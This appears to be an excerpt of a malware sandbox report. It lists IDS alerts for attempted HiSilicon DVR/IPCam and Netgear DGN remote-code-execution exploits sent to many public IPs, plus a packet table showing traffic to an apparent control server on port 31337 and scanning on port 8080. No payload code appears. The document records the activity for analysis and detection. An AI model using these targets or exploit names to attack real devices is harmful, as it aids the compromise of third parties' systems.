05/16/24-16:39:08.146554	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59744	9530	192.168.2.23	175.126.14.38
05/16/24-16:38:50.047590	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45988	9530	192.168.2.23	188.164.221.214
05/16/24-16:38:55.221745	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43512	9530	192.168.2.23	106.233.11.39
05/16/24-16:38:55.221745	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43512	9530	192.168.2.23	106.233.11.39
05/16/24-16:39:12.378547	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51244	9530	192.168.2.23	105.204.82.127
05/16/24-16:39:12.378547	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51244	9530	192.168.2.23	105.204.82.127
05/16/24-16:38:53.007570	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45318	9530	192.168.2.23	12.159.71.123
05/16/24-16:38:53.007570	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45318	9530	192.168.2.23	12.159.71.123
05/16/24-16:38:55.198183	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60768	9530	192.168.2.23	76.23.21.243
05/16/24-16:38:55.198183	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60768	9530	192.168.2.23	76.23.21.243
05/16/24-16:38:53.099019	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53258	9530	192.168.2.23	141.189.85.41
05/16/24-16:38:55.227492	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49366	9530	192.168.2.23	143.133.53.138
05/16/24-16:38:53.099019	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53258	9530	192.168.2.23	141.189.85.41
05/16/24-16:38:55.227492	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49366	9530	192.168.2.23	143.133.53.138
05/16/24-16:39:01.473860	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	59392	80	192.168.2.23	83.124.111.176
05/16/24-16:38:50.075674	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52712	9530	192.168.2.23	193.52.65.115
05/16/24-16:38:50.075674	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52712	9530	192.168.2.23	193.52.65.115
05/16/24-16:39:16.614375	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49150	9530	192.168.2.23	18.225.149.162
05/16/24-16:39:16.614375	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49150	9530	192.168.2.23	18.225.149.162
05/16/24-16:38:55.220912	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60568	9530	192.168.2.23	161.243.119.220
05/16/24-16:38:55.220912	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60568	9530	192.168.2.23	161.243.119.220
05/16/24-16:39:14.510045	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46308	9530	192.168.2.23	92.32.177.181
05/16/24-16:39:14.510045	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46308	9530	192.168.2.23	92.32.177.181
05/16/24-16:39:14.532750	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50488	9530	192.168.2.23	131.184.208.206
05/16/24-16:39:14.532750	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50488	9530	192.168.2.23	131.184.208.206
05/16/24-16:38:55.220926	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40092	9530	192.168.2.23	183.78.187.27
05/16/24-16:38:55.220926	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40092	9530	192.168.2.23	183.78.187.27
05/16/24-16:38:57.304874	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40082	9530	192.168.2.23	134.84.114.118
05/16/24-16:38:57.304874	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40082	9530	192.168.2.23	134.84.114.118
05/16/24-16:38:50.076322	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36904	9530	192.168.2.23	198.144.218.243
05/16/24-16:39:16.614047	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34306	9530	192.168.2.23	78.71.46.105
05/16/24-16:38:50.076322	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36904	9530	192.168.2.23	198.144.218.243
05/16/24-16:38:57.409946	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35752	9530	192.168.2.23	219.38.107.25
05/16/24-16:39:16.614047	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34306	9530	192.168.2.23	78.71.46.105
05/16/24-16:39:14.518795	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33256	9530	192.168.2.23	96.32.190.173
05/16/24-16:39:14.518795	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33256	9530	192.168.2.23	96.32.190.173
05/16/24-16:38:53.098292	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54032	9530	192.168.2.23	138.174.166.214
05/16/24-16:38:53.098292	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54032	9530	192.168.2.23	138.174.166.214
05/16/24-16:38:55.220119	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58824	9530	192.168.2.23	201.164.169.243
05/16/24-16:38:59.518467	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43908	9530	192.168.2.23	218.75.175.138
05/16/24-16:38:55.220119	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58824	9530	192.168.2.23	201.164.169.243
05/16/24-16:38:59.518467	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43908	9530	192.168.2.23	218.75.175.138
05/16/24-16:38:59.518418	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50536	9530	192.168.2.23	82.172.215.228
05/16/24-16:38:59.518418	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50536	9530	192.168.2.23	82.172.215.228
05/16/24-16:39:03.263606	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34070	9530	192.168.2.23	120.110.162.236
05/16/24-16:39:03.263606	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34070	9530	192.168.2.23	120.110.162.236
05/16/24-16:38:57.411171	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44840	9530	192.168.2.23	107.34.39.233
05/16/24-16:38:57.411171	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44840	9530	192.168.2.23	107.34.39.233
05/16/24-16:39:02.727977	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40638	9530	192.168.2.23	79.226.132.87
05/16/24-16:39:03.260047	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44112	9530	192.168.2.23	100.234.214.179
05/16/24-16:39:02.727977	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40638	9530	192.168.2.23	79.226.132.87
05/16/24-16:39:08.041218	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40250	9530	192.168.2.23	137.40.203.252
05/16/24-16:39:03.260047	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44112	9530	192.168.2.23	100.234.214.179
05/16/24-16:39:02.745327	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42310	9530	192.168.2.23	211.153.205.111
05/16/24-16:39:05.676853	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44900	9530	192.168.2.23	178.73.248.25
05/16/24-16:39:02.745327	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42310	9530	192.168.2.23	211.153.205.111
05/16/24-16:39:16.611867	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39062	9530	192.168.2.23	198.169.227.79
05/16/24-16:39:16.611867	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39062	9530	192.168.2.23	198.169.227.79
05/16/24-16:39:08.041218	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40250	9530	192.168.2.23	137.40.203.252
05/16/24-16:39:05.676853	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44900	9530	192.168.2.23	178.73.248.25
05/16/24-16:38:57.408883	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53138	9530	192.168.2.23	212.176.127.239
05/16/24-16:39:12.304151	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44006	9530	192.168.2.23	44.114.99.154
05/16/24-16:39:14.524527	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40372	9530	192.168.2.23	171.74.1.249
05/16/24-16:38:57.408883	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53138	9530	192.168.2.23	212.176.127.239
05/16/24-16:39:14.524527	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40372	9530	192.168.2.23	171.74.1.249
05/16/24-16:38:59.519300	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55094	9530	192.168.2.23	180.236.127.233
05/16/24-16:38:59.519300	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55094	9530	192.168.2.23	180.236.127.233
05/16/24-16:39:12.304151	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44006	9530	192.168.2.23	44.114.99.154
05/16/24-16:38:53.013637	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42252	9530	192.168.2.23	66.237.107.46
05/16/24-16:38:53.013637	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42252	9530	192.168.2.23	66.237.107.46
05/16/24-16:39:05.704096	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59642	9530	192.168.2.23	90.177.175.194
05/16/24-16:39:16.598481	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60522	9530	192.168.2.23	126.189.205.100
05/16/24-16:39:05.704096	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59642	9530	192.168.2.23	90.177.175.194
05/16/24-16:39:16.598481	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60522	9530	192.168.2.23	126.189.205.100
05/16/24-16:38:53.011282	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57778	9530	192.168.2.23	218.32.68.1
05/16/24-16:38:53.011282	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57778	9530	192.168.2.23	218.32.68.1
05/16/24-16:39:05.712987	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59134	9530	192.168.2.23	150.251.247.44
05/16/24-16:39:05.678462	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51578	9530	192.168.2.23	169.71.190.99
05/16/24-16:39:05.712987	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59134	9530	192.168.2.23	150.251.247.44
05/16/24-16:39:05.678462	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51578	9530	192.168.2.23	169.71.190.99
05/16/24-16:39:12.381956	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42956	9530	192.168.2.23	156.230.38.50
05/16/24-16:39:12.381956	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42956	9530	192.168.2.23	156.230.38.50
05/16/24-16:38:57.409946	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35752	9530	192.168.2.23	219.38.107.25
05/16/24-16:39:16.615079	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51938	9530	192.168.2.23	206.97.151.132
05/16/24-16:39:16.615079	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51938	9530	192.168.2.23	206.97.151.132
05/16/24-16:39:01.474040	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	51530	80	192.168.2.23	36.80.241.120
05/16/24-16:39:05.705289	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38212	9530	192.168.2.23	189.128.85.5
05/16/24-16:39:05.705289	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38212	9530	192.168.2.23	189.128.85.5
05/16/24-16:39:03.253922	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37830	9530	192.168.2.23	111.229.208.114
05/16/24-16:39:03.253922	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37830	9530	192.168.2.23	111.229.208.114
05/16/24-16:38:50.004118	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45312	9530	192.168.2.23	188.74.50.28
05/16/24-16:38:50.004118	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45312	9530	192.168.2.23	188.74.50.28
05/16/24-16:39:12.298216	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49860	9530	192.168.2.23	13.163.98.180
05/16/24-16:39:12.298216	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49860	9530	192.168.2.23	13.163.98.180
05/16/24-16:38:53.093286	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39710	9530	192.168.2.23	165.222.136.84
05/16/24-16:38:53.093286	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39710	9530	192.168.2.23	165.222.136.84
05/16/24-16:38:57.448073	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49586	9530	192.168.2.23	111.74.160.211
05/16/24-16:38:57.448073	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49586	9530	192.168.2.23	111.74.160.211
05/16/24-16:39:14.530277	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35410	9530	192.168.2.23	101.242.34.31
05/16/24-16:39:14.530277	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35410	9530	192.168.2.23	101.242.34.31
05/16/24-16:38:55.176180	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49902	9530	192.168.2.23	156.234.205.59
05/16/24-16:38:55.176180	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49902	9530	192.168.2.23	156.234.205.59
05/16/24-16:39:02.765710	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56144	9530	192.168.2.23	196.48.5.171
05/16/24-16:39:02.765710	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56144	9530	192.168.2.23	196.48.5.171
05/16/24-16:39:08.045041	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35732	9530	192.168.2.23	151.200.203.255
05/16/24-16:39:03.277940	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50430	9530	192.168.2.23	77.56.153.121
05/16/24-16:39:14.532760	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34040	9530	192.168.2.23	59.131.220.176
05/16/24-16:39:08.045041	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35732	9530	192.168.2.23	151.200.203.255
05/16/24-16:39:14.532760	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34040	9530	192.168.2.23	59.131.220.176
05/16/24-16:38:53.062498	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43706	9530	192.168.2.23	109.12.160.31
05/16/24-16:39:12.301187	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55472	9530	192.168.2.23	125.78.205.170
05/16/24-16:39:12.301187	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55472	9530	192.168.2.23	125.78.205.170
05/16/24-16:39:05.676323	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45764	9530	192.168.2.23	5.138.252.5
05/16/24-16:38:59.558449	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49468	9530	192.168.2.23	115.101.234.12
05/16/24-16:39:05.676323	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45764	9530	192.168.2.23	5.138.252.5
05/16/24-16:38:59.558449	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49468	9530	192.168.2.23	115.101.234.12
05/16/24-16:39:03.263606	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57234	9530	192.168.2.23	115.86.242.180
05/16/24-16:39:03.263606	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57234	9530	192.168.2.23	115.86.242.180
05/16/24-16:39:03.277940	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50430	9530	192.168.2.23	77.56.153.121
05/16/24-16:39:12.301098	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43934	9530	192.168.2.23	123.242.24.142
05/16/24-16:39:12.301098	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43934	9530	192.168.2.23	123.242.24.142
05/16/24-16:39:08.125366	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39372	9530	192.168.2.23	102.28.251.67
05/16/24-16:39:08.125366	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39372	9530	192.168.2.23	102.28.251.67
05/16/24-16:39:08.146707	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54700	9530	192.168.2.23	133.173.160.203
05/16/24-16:38:55.193139	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54938	9530	192.168.2.23	83.194.174.18
05/16/24-16:38:55.193139	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54938	9530	192.168.2.23	83.194.174.18
05/16/24-16:39:05.704118	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45588	9530	192.168.2.23	153.86.246.117
05/16/24-16:39:05.704118	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45588	9530	192.168.2.23	153.86.246.117
05/16/24-16:39:08.146707	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54700	9530	192.168.2.23	133.173.160.203
05/16/24-16:38:53.062498	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43706	9530	192.168.2.23	109.12.160.31
05/16/24-16:39:13.658796	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	38618	80	192.168.2.23	206.92.128.139
05/16/24-16:38:57.408703	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39994	9530	192.168.2.23	81.218.198.138
05/16/24-16:38:55.187246	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41640	9530	192.168.2.23	147.153.211.195
05/16/24-16:38:57.408703	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39994	9530	192.168.2.23	81.218.198.138
05/16/24-16:38:55.187246	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41640	9530	192.168.2.23	147.153.211.195
05/16/24-16:39:02.726906	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46096	9530	192.168.2.23	155.196.14.177
05/16/24-16:39:02.726906	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46096	9530	192.168.2.23	155.196.14.177
05/16/24-16:39:14.491163	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48834	9530	192.168.2.23	96.163.174.160
05/16/24-16:39:14.491163	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48834	9530	192.168.2.23	96.163.174.160
05/16/24-16:39:14.492238	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39084	9530	192.168.2.23	86.242.240.187
05/16/24-16:39:14.492238	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39084	9530	192.168.2.23	86.242.240.187
05/16/24-16:38:55.207675	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40614	9530	192.168.2.23	135.117.76.104
05/16/24-16:38:55.207675	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40614	9530	192.168.2.23	135.117.76.104
05/16/24-16:38:59.558032	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50726	9530	192.168.2.23	137.147.227.19
05/16/24-16:39:02.726858	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52560	9530	192.168.2.23	184.95.194.61
05/16/24-16:39:14.494497	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38616	9530	192.168.2.23	87.35.72.214
05/16/24-16:38:59.558032	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50726	9530	192.168.2.23	137.147.227.19
05/16/24-16:39:14.494497	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38616	9530	192.168.2.23	87.35.72.214
05/16/24-16:38:57.435619	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33834	9530	192.168.2.23	37.43.134.37
05/16/24-16:38:53.071309	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34270	9530	192.168.2.23	50.49.246.29
05/16/24-16:38:53.071309	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34270	9530	192.168.2.23	50.49.246.29
05/16/24-16:39:02.726858	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52560	9530	192.168.2.23	184.95.194.61
05/16/24-16:39:05.706095	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50734	9530	192.168.2.23	88.141.163.11
05/16/24-16:39:05.706095	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50734	9530	192.168.2.23	88.141.163.11
05/16/24-16:38:57.435619	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33834	9530	192.168.2.23	37.43.134.37
05/16/24-16:39:14.492417	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52364	9530	192.168.2.23	142.238.46.157
05/16/24-16:39:14.492417	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52364	9530	192.168.2.23	142.238.46.157
05/16/24-16:39:12.403761	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41110	9530	192.168.2.23	219.140.95.17
05/16/24-16:39:05.717235	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46182	9530	192.168.2.23	179.232.254.4
05/16/24-16:39:12.403761	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41110	9530	192.168.2.23	219.140.95.17
05/16/24-16:39:05.717235	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46182	9530	192.168.2.23	179.232.254.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 16, 2024 16:38:47.909275055 CEST	60122	31337	192.168.2.23	94.156.69.121
May 16, 2024 16:38:47.953248024 CEST	31337	60122	94.156.69.121	192.168.2.23
May 16, 2024 16:38:47.953301907 CEST	60122	31337	192.168.2.23	94.156.69.121
May 16, 2024 16:38:47.953356028 CEST	60122	31337	192.168.2.23	94.156.69.121
May 16, 2024 16:38:48.008968115 CEST	31337	60122	94.156.69.121	192.168.2.23
May 16, 2024 16:38:48.218180895 CEST	43400	8080	192.168.2.23	201.249.104.184
May 16, 2024 16:38:48.224123001 CEST	36018	8080	192.168.2.23	201.237.237.152
May 16, 2024 16:38:48.226115942 CEST	38198	8080	192.168.2.23	207.155.209.31
May 16, 2024 16:38:48.227747917 CEST	53552	8080	192.168.2.23	189.36.32.96
May 16, 2024 16:38:48.230256081 CEST	56728	8080	192.168.2.23	189.101.154.179
May 16, 2024 16:38:48.231244087 CEST	53842	8080	192.168.2.23	200.178.117.113
May 16, 2024 16:38:48.255656958 CEST	8080	43400	201.249.104.184	192.168.2.23
May 16, 2024 16:38:48.255705118 CEST	43400	8080	192.168.2.23	201.249.104.184
May 16, 2024 16:38:48.264394999 CEST	8080	36018	201.237.237.152	192.168.2.23
May 16, 2024 16:38:48.264398098 CEST	8080	38198	207.155.209.31	192.168.2.23
May 16, 2024 16:38:48.264401913 CEST	8080	53552	189.36.32.96	192.168.2.23
May 16, 2024 16:38:48.264405966 CEST	8080	56728	189.101.154.179	192.168.2.23
May 16, 2024 16:38:48.264409065 CEST	8080	53842	200.178.117.113	192.168.2.23
May 16, 2024 16:38:48.264431000 CEST	36018	8080	192.168.2.23	201.237.237.152
May 16, 2024 16:38:48.264445066 CEST	38198	8080	192.168.2.23	207.155.209.31
May 16, 2024 16:38:48.264451981 CEST	53552	8080	192.168.2.23	189.36.32.96
May 16, 2024 16:38:48.264482975 CEST	53842	8080	192.168.2.23	200.178.117.113
May 16, 2024 16:38:48.264486074 CEST	56728	8080	192.168.2.23	189.101.154.179
May 16, 2024 16:38:48.264827967 CEST	43400	8080	192.168.2.23	201.249.104.184
May 16, 2024 16:38:48.274266005 CEST	8080	43400	201.249.104.184	192.168.2.23
May 16, 2024 16:38:48.274307966 CEST	43400	8080	192.168.2.23	201.249.104.184
